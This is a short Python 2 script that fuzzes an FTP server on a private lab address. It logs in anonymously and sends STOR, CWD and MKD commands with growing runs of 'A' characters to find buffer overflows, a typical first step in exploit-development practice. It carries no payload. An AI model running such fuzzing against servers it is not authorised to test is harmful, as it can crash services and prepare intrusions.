#!/usr/bin/python
import socket

#Create the array of input data
buffer=["A"]
counter=20
while len(buffer)<=30:
	buffer.append("A"*counter)
	counter=counter+100

#Create the array of commands
commands=["STOR","CWD","MKD"]

#Run the fuzzer
for command in commands:
	for string in buffer:
		print "Sending command " + command + " with " + str(len(string)) + " bytes"
		s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		connect=s.connect(('192.168.2.144',21))
		s.recv(1024)
		s.send('USER anonymous\r\n')
		s.recv(1024)
		s.send('PASS test\r\n')
		s.recv(1024)
		s.send(command + ' ' + string + '\r\n')
		s.recv(1024)
		s.send('QUIT\r\n')
		s.close()
